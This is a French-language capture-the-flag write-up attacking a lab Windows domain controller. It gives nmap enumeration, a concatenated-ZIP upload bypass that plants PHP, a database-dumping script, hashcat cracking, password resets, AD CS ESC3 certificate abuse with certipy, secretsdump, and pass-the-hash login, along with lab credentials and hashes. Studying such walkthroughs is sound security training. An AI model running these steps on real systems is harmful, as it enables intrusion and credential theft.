Introduction
Aucune information de base n'est donnée.
Enumération
Nmap
Scan TCP
nmap -p- -sV 10.129.144.196
PORT STATE SERVICE VERSION
53/tcp open domain?
80/tcp open http Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-07 17:17:47Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49685/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49686/tcp open msrpc Microsoft Windows RPC
49688/tcp open msrpc Microsoft Windows RPC
49706/tcp open msrpc Microsoft Windows RPC
63540/tcp open msrpc Microsoft Windows RPC
63555/tcp open msrpc Microsoft Windows RPC
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Scan UDP
nmap -p- -sU 10.129.144.196
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldap
Ajout d'un serveur de résolution de noms
nano /etc/resolv.conf
nameserver 10.129.144.196
nameserver 1.1.1.1
nameserver 8.8.8.8
Foothold
Après avoir énuméré le site web, nous pouvons voir qu'il est possible d'uploader des fichiers aux formats pdf, docx, pptx, xlsx ou zip depuis la page upload.php (ex. http://certificate.htb/upload.php?s_id=42, une fois connecté et enrôlé dans un cours).
De plus, il est possible d'accéder aux fichiers après leur upload.

Lors de l'upload d'un fichier .zip, celui-ci est décompressé sur le serveur.
Par exemple, lors de l'upload de example.zip contenant fichier.pdf, fichier.pdf sera accessible à l'emplacement suivant :
http://certificate.htb/static/uploads/6144021521507642c5a799e2bca164e3/fichier.pdf.

Après des recherches, une technique d'évasion est peut-être présente. Elle permet de cacher un fichier dans un ZIP concaténé, interprété différemment selon l'outil de décompression, ce qui permet de contourner les mesures de sécurité mises en place (dans notre cas).
Pour en savoir plus, vous pouvez consulter cet article.
Création et livraison du payload
- Créer un fichier source PHP contenant un payload.
- Créer une archive zip contenant le fichier pdf valide.
- Créer une archive zip contenant le fichier source PHP.
- Concaténer les deux fichiers vers un fichier avec l'extension .zip.
(un fichier pdf d'exemple peut être téléchargé ici)
7z a pt1.zip ./first.pdf
7z a pt2.zip ./second.php
cat pt1.zip pt2.zip > combined.zip
L'opération a bien fonctionné puisque le fichier first.pdf n'a pas été trouvé lorsque l'on essaye d'accéder à sa page. Après avoir remplacé first.pdf par second.php, nous pouvons voir que le code PHP est bien présent et interprété !
Par exemple :
# Non trouvé
http://certificate.htb/static/uploads/6144021521507642c5a799e2bca164e3/first.pdf
# Trouvé et interprété
http://certificate.htb/static/uploads/6144021521507642c5a799e2bca164e3/second.php
Nous pouvons donc envoyer un reverse shell (attention : certains payloads Metasploit PHP peuvent ne pas fonctionner sur les environnements Windows, a fortiori avec un antivirus).
Ce reverse shell nous permet d'obtenir le code source de l'application, mais aussi l'identifiant et le mot de passe utilisés pour accéder à la base de données.
Obtention des identifiants
Nous pouvons ensuite créer le code PHP suivant en se basant sur le code source obtenu :
<?php
// Database connection using PDO
try {
$dsn = 'mysql:host=localhost;dbname=Certificate_WEBAPP_DB;charset=utf8mb4';
$db_user = 'certificate_webapp_user'; // Change to your DB username
$db_passwd = 'cert!f!c@teDBPWD'; // Change to your DB password
$options = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
];
$pdo = new PDO($dsn, $db_user, $db_passwd, $options);
$stmt = $pdo->prepare('SELECT * FROM Users');
$stmt->execute();
$users = $stmt->fetchAll();
foreach ($users as $userRow) {
echo '<pre>';
print_r($userRow);
echo '</pre>';
}
} catch (PDOException $e) {
die('Database connection failed: ' . $e->getMessage());
}
?>
Une fois ce payload exécuté, la totalité de la table Users (contenant les hashes, mails et noms d'utilisateur) est affichée.

Nous pouvons regarder le code source de la page d'enregistrement pour voir que les hashes sont au format bcrypt $2*$, Blowfish (Unix) (-m 3200 sur Hashcat).
hashcat hashes.txt -m 3200 /usr/share/wordlists/rockyou.txt
Après avoir lancé une attaque par force brute sur ces hashes, nous obtenons le mot de passe de l'utilisateur sara.b.
Pour vérifier que l'utilisateur sara.b et le mot de passe obtenu sont valides, nous pouvons tenter d'établir une connexion RPC vers le serveur.
rpcclient -U CERTIFICATE.HTB/sara.b%Blink182 10.129.144.196
L'utilisateur est bien valide, nous pouvons donc effectuer une énumération avec Bloodhound pour avoir plus de détails sur le domaine.
Bloodhound
bloodhound-python -dc dc01.CERTIFICATE.HTB -u sara.b -p 'Blink182' -ns 10.129.144.196 -d certificate.htb -c ALL
sara.b fait donc partie du groupe Account Operators et HELP DESK. Cet utilisateur dispose donc de nombreux droits.
Entre autres, sara.b peut modifier le mot de passe de n'importe quel utilisateur (sauf les utilisateurs protégés, type administrateurs).
User flag
Normalement, le flag est obtenu naturellement lors de l'énumération de chaque utilisateur. Ici, je vais montrer comment l'obtenir immédiatement.
Changer le mot de passe de l'utilisateur lion.sk.
net rpc password "lion.sk" "Toor2025!" -U "CERTIFICATE.HTB"/"sara.b"%"Blink182" -S 10.129.144.196 -ns 10.129.144.196 -d 1
Se connecter avec l'utilisateur lion.sk
evil-winrm -u lion.sk -p Toor2025! -i 10.129.144.196
Récupérer le flag
gc ..\Desktop\user.txt
Élévation de privilèges
Énumération
Cette machine offre de nombreuses fausses pistes. Je vais uniquement aborder la manière la plus simple dans ce compte rendu.
Le serveur héberge les services AD CS (services de certificats Active Directory).
De plus, l'utilisateur lion.sk fait partie du groupe Domain CRA Managers.
La description "The members of this security group are responsible for issuing and revoking multiple certificates for the domain users" indique que des permissions sur des templates sont très probablement allouées aux utilisateurs de ce groupe.
Nous allons donc effectuer une recherche et une analyse des différents templates.
certipy find -u 'lion.sk@certificate.htb' -p Toor2025! -dc-ip '10.129.144.196' -target 'DC01.CERTIFICATE.HTB' -vulnerable -stdout
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'Certificate-LTD-CA' via CSRA
[!] Got error while trying to get CA configuration for 'Certificate-LTD-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'Certificate-LTD-CA' via RRP
[*] Got CA configuration for 'Certificate-LTD-CA'
[*] Enumeration output:
Certificate Authorities
0
CA Name : Certificate-LTD-CA
DNS Name : DC01.certificate.htb
Certificate Subject : CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Serial Number : 75B2F4BBF31F108945147B466131BDCA
Certificate Validity Start : 2024-11-03 22:55:09+00:00
Certificate Validity End : 2034-11-03 23:05:09+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : CERTIFICATE.HTB\Administrators
Access Rights
ManageCertificates : CERTIFICATE.HTB\Administrators
CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
ManageCa : CERTIFICATE.HTB\Administrators
CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Enroll : CERTIFICATE.HTB\Authenticated Users
Certificate Templates
0
Template Name : Delegated-CRA
Display Name : Delegated-CRA
Certificate Authorities : Certificate-LTD-CA
Enabled : True
Client Authentication : False
Enrollment Agent : True
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDirectoryPath
SubjectRequireEmail
SubjectAltRequireEmail
SubjectAltRequireUpn
Enrollment Flag : AutoEnrollment
PublishToDs
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Certificate Request Agent
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFICATE.HTB\Domain CRA Managers
CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFICATE.HTB\Administrator
Write Owner Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
CERTIFICATE.HTB\Administrator
Write Dacl Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
CERTIFICATE.HTB\Administrator
Write Property Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
CERTIFICATE.HTB\Administrator
[!] Vulnerabilities
ESC3 : 'CERTIFICATE.HTB\\Domain CRA Managers' can enroll and template has Certificate Request Agent EKU set
Récupérer le flag root
L'utilisateur lion.sk peut donc enrôler des certificats avec la template "Delegated-CRA" et agir en tant qu'agent de demande de certificats (Certificate Request Agent), c’est-à-dire soumettre des demandes de certificats au nom d’autres utilisateurs.
Cependant, ce template ne peut pas être utilisé pour l'authentification client, c'est-à-dire que l'on ne peut pas demander de ticket TGT avec ce certificat.
La template Machine
Nous devons donc trouver une template active qui supporte l'authentification client et où l'utilisateur lion.sk peut enrôler un certificat.
Une template ayant ces prérequis est "Machine".
Template Name : Machine
Display Name : Computer
Certificate Authorities : Certificate-LTD-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectRequireDnsAsCn
SubjectAltRequireDns
Enrollment Flag : AutoEnrollment
Private Key Flag : AttestNone
Extended Key Usage : Client Authentication
Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
Enrollment Permissions
Enrollment Rights : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Domain Computers
CERTIFICATE.HTB\Enterprise Admins
Object Control Permissions
Owner : CERTIFICATE.HTB\Enterprise Admins
Write Owner Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Write Dacl Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Write Property Principals : CERTIFICATE.HTB\Domain Admins
CERTIFICATE.HTB\Enterprise Admins
Effectivement, l'utilisateur sara.b peut ajouter lion.sk au groupe "Domain Computers" pour que celui-ci puisse enrôler des certificats avec cette template.
net rpc group addmem "Domain Computers" lion.sk -U certificate.htb/sara.b%'Blink182' -S 10.129.144.196
Cependant la template Machine ne peut pas être utilisée pour générer des certificats pour des utilisateurs. Effectivement le champ SubjectRequireDnsAsCn étant présent, il impose que le champ Common Name (CN) du certificat corresponde à un nom DNS valide (FQDN). Or, les identités utilisateur ne possèdent pas de nom DNS, mais plutôt un nom complet ou un UPN (User Principal Name).
Inscription du certificat
Nous allons donc générer un certificat permettant l'authentification du compte machine du serveur AD (AD01$).
certipy req -ca Certificate-LTD-CA -dc-ip 10.129.144.196 -u lion.sk@certificate.htb -p 'Toor2025!' -template 'Delegated-CRA' -target dc01.certificate.htb -ns 10.129.144.196
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 23
[*] Got certificate with UPN 'Lion.SK@certificate.htb'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1115'
[*] Saved certificate and private key to 'lion.sk.pfx'
À l'aide du certificat précédent, générer un certificat permettant l'authentification client avec le template Machine.
certipy req -u 'lion.sk@certificate.htb' -p 'Toor2025!' -dc-ip 10.129.144.196 -ca Certificate-LTD-CA -target 'dc01.certificate.htb' -template 'Machine' -on-behalf-of dc01$ -pfx lion.sk.pfx
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 24
[*] Got certificate with DNS Host Name 'DC01.certificate.htb'
[*] Certificate object SID is 'S-1-5-21-515537669-4223687196-3249690583-1000'
[*] Saved certificate and private key to 'dc01.pfx'
Utilisation du certificat généré
Pour utiliser Kerberos, l'horloge de la machine attaquante doit être synchronisée avec celle du serveur AD.
Sans cela, l'erreur KRB_AP_ERR_SKEW(Clock skew too great) peut apparaître.
apt install rdate && rdate -n dc01.certificate.htb
Récupérer un ticket TGT pour l'utilisateur machine dc01$ et récupérer le hash NTLM de celui-ci.
certipy auth -pfx dc01.pfx -dc-ip 10.129.144.196
[*] Using principal: dc01$@certificate.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@certificate.htb': aad3b435b51404eeaad3b435b51404ee:f36e0bc3c9a34c3acdb8b79df54f27cd
Récupérer le contenu de la base ntds.dit contenant le hash NTLM de tous les utilisateurs.
impacket-secretsdump 'certificate.htb/DC01$'@10.129.144.196 -hashes aad3b435b51404eeaad3b435b51404ee:f36e0bc3c9a34c3acdb8b79df54f27cd -dc-ip 10.129.144.196
Se connecter avec le hash NTLM de l'utilisateur Administrator
evil-winrm -u Administrator -H d804304519bf0143c14cbf1c024408c6 -i 10.129.144.196
Récupérer le flag
gc ../Desktop/root.txt